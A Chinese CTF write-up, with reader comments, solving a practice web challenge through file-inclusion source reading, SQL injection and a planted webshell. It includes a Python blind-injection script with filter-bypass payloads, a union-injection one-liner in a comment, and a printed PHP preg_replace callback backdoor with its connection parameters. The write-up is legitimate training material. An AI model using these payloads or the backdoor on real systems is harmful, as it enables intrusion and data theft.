南邮CTF-综合题2-writeup

最近吃了一发安利,发现了南邮的CTF训练平台,上面有一个往年的题目。就难度而言,大部分其实不算很难。同时,题目中不乏很有趣的题型。

这次来一发平台上面的writeup吧。作为一只web狗,表示脑容量的限制直接导致有一道题做了将近5个小时。然而这题也确实有点意思。

南邮CTF训练平台:http://ctf.nuptsast.com 【上面的题目不错哟,难度不大,可以练手】
题目地址:http://cms.nuptzj.cn/
之所以对这个题目写writeup是为了纪念我那马大哈的粗线条。

思路与信息搜集:

首先映入眼帘的就是一个留言板。凭借一只渣渣web狗不太敏锐的嗅觉,我们可以搜集到以下信息:

  1. 这是一个留言板,但不是用来xss的。更何况是综合题,所以猜测可能是拿后台然后getshell的。
  2. 既然是拿后台,根据潜规则,必然有SQL注入。图片最明显的就是那个搜索功能。
  3. 翻看源码,我们在58行看到了这样一段代码: 本CMS说明。本地文件包含。好东西。目测可以用php流的filter读源码(事实证明其实并不需要filter,因为此处本来就是用来读源码的),然后分析注入过滤。

所以我们的思路是:

  1. 搜索框注入拿用户名密码
  2. 进后台,设法上传一句话

先搜集一下能够利用about.php看到源码的文件:

config.php:存放数据库信息,移植此CMS时要修改
index.php:主页文件
passencode.php:Funny公司自写密码加密算法库
say.php:用于接收和处理用户留言请求
sm.txt:本CMS的说明文档

config.php 看了一眼,环境在sae上,所以上传一句话是没戏。一会再看看具体情况吧。
index.php 看了一下,主要是用于显示留言内容
passencode.php 一个加密算法,并没仔细看
say.php 好吧鸡肋
扫了一发目录,找到个list.php,一个后台审核留言的页面,但是要求session。
于是乎,我的注意力开始集中第一步了。

SQL注入

首先进行留言搜索。抓包分析数据被POST过去,发送到so.php。直接访问,发现对UA进行了限制。于是about.php?file=so.php包含一发,发现了不得了的东西:

if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);

我们不妨仔细看看。首先要修改的是UA;然后,要利用的查询语句在执行时有我们POST的参数id,但是id经过antiinject.php的过滤,因此我们可以看一看antiinject.php是如何过滤的,然后绕过过滤进行注入。因此我们在包含一发antiinject.php

$keyword=array('select','union','and','from',' ',''',';',''','char','or','count','master','name','pass','admin','+','-','order','=');
$info=strtolower($content);
for($i=0;$i<count($keyword);$i++){
    $info=str_replace($keyword[$i], '',$info);
}
return $info;

绕过方法简单吧,select -> selecSELECTt;空格用/**/代替。sqlmap目测可以直接用tamper搞定(详情见乌云知识库SQLMAP相关),但是我不知道当时怎么想的……手注+脚本……【脚本贴到最后面】

写完了脚本拖出来的内容:username = admin&userpass = 1020117099010701140117011001160117
然后我拿着这个内容去提交评论,在list.php里面直接写cookie后,发现是可以提交成功的,也就是说我的账号密码是正确的。因此happy的开始找后台了。

寻找后台

当我开心的找到了账号密码,开始找后台时,我发现怎么找都找不到。我怀疑是扫目录没扫出来,就问了一下小伙伴,他说那个是自己找的,我也就宽心了。然而思索了好多方法,robots.txt、googlehack什么鬼的都上了,就是找不到。一时卡住的喔去洗了个澡,一出来神清气爽,然后来了一发about.php?file=about.php……然后后台赫然在眼前。尼玛……前期没有好好搜集信息,耽误了好多时间啊。

$cut=strchr($file,'loginxlcteam');
if($cut==false){
    $data=file_get_contents($file);
    $date=htmlspecialchars($data);
    echo $date;
}else{
    echo 'alert('敏感目录,禁止查看!但是。。。')';

然后我就开始鬼使神差的about.php?file=loginxlcteam。是的没错,我在尝试绕过strchr()函数!!!这里由花了一个小时,这一个小时真的是脑洞全开啊。我尝试了一发远程文件包含,about.php?file=www.baidu.com发现能成!心生一念,远程包含一个外网网页,用外网网页来跳转本地文件。(具体可参考乌云上ssrf查看360内网的洞)当我正要写代码时,我发现了一件事情,那就是file_get_contens()并没有执行啊,只是取内容,而且并不可能取到外网php的内容。所以这个思路被否了。后来又想能不能用php流,input,单后把loginxlcteam直接POST过去。想了想,发现还是因为file_get_contents()并不执行脚本和语句。
看到这里你是不是觉得我的思路很有道理呢?
好吧我的错。其实只需要在链接上加上目录地址(http://cms.nuptzj.cn/loginxlcteam/)就行了。我全部当成LFI了。其实并不是LFI……

登陆后台

做到这里,我已经筋疲力竭了。呵呵大,前面犯了一堆莫名其妙的错误,现在就差一步了,好生激动啊。
admin + 1020117099010701140117011001160117,回车。

是的然后我就吐血了。特么密码错误?我可是用list.php验证过的啊!此刻心中一阵愤懑……于是我怀疑其中有猫腻(废话)
我仔细观察密码,试图看出点什么。会不会是编码……换成16进制再解MD5?然而位数不对。就在此时,我发现了好多0.怎么会有这么多0呢?难道0是分隔符?这样一来,102 117 99 107 114……没错,ascii码……好阴险……解码之后发现果然是ascii……(fuckruntu)。然后顺利进入后台。

Get Webshell

看到一个flag1,原来这题修改之前有两个flag啊。有趣。

因为程序猿连后台都懒得开发了,为了方便管理,他邪恶地放了一个一句话木马在网站的根目录下
小马的文件名为:xlcteam.php

嗯啦,一句话。菜刀咯。关键就是密码。然而不怕,我们有about.php这个前面坑了我好久的文件。

about.php?file=xlcteam.php:

$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] =&gt; '|.*|e',);
array_walk($arr, $e, '');

回调后门(知识库里面p牛总结了整套回调后门,搜一发就ok~)
去吧皮卡丘!密码:wtf=str_replace&www www=str_replace&wtf(感谢chikachika师傅的提醒)连上即可。在文件中一眼看到flag的txt。

附录

这题用到了:少量php代码审计+SQL注入(绕过过滤)+伪造header+一句话木马+ascii解码。

注入的脚本代码如下:(判断内容长度我是用手工的,一个len()搞定并不需要脚本)

import requests
import string
 
 
urlme = 'http://cms.nuptzj.cn/so.php'
headersme = {
    'User-Agent': 'Xlcteam Browser',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Host': 'cms.nuptzj.cn',
    'Content-Length': 159
}
 
payload1 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
payload2 = '123456789'
result = ''
 
for j in range(1, 35):
    for i in payload1:
        fuck = ord(i)
        fuck = str(fuck)
        num = str(j)
        commandme = '1/*x*/anANDd/*x*/exists(seleSELECTct/*x*/*/*x*/frFROMom/*x*/admiADMINn/*x*/WHERE/*x*/oORrd(substring(userpaspasss/*x*/froFROMm/*x*/' + num + '/*a*/FOorR/*a*/1))>' + fuck + ')'
        datame = {
            'soid': commandme
        }
        
        req = requests.post(url=urlme, headers = headersme, data = datame)
 
        if len(str(req.text)) == 437:
            fuck = string.atoi(fuck)
            print chr(fuck)
            result = result + chr(fuck)
            break
 
print result
print '[End]'

12 Replies to “南邮CTF-综合题2-writeup”

    1. 页面乍一看很复杂,看看源码,无视掉不同域的内容,剩下的东西就很少了。挨个点进去看看就知道了

  1. 谢谢指点,收获很多!后门密码应该是www=preg_replace&wtf。还有请教一下大神在用什么菜刀啊?altman3貌似连不上,用一个带后门的才连上的。

    1. 多谢提醒,原文已修改。另外我的菜刀是freebuf上下的据说没有后门的菜刀,然而我也不知道是不是真的没后门。

  2. 注入管理员密码直接一条语句就可以了,不用跑脚本的:
    soid==1/**/anandd/**/1>2/**/uniunionon/**/selselectect/**/1,group_concat(userpapassss),2,3/**/frfromom/**/adadminmin#

Leave a Reply to dump Cancel reply

Your email address will not be published. Required fields are marked *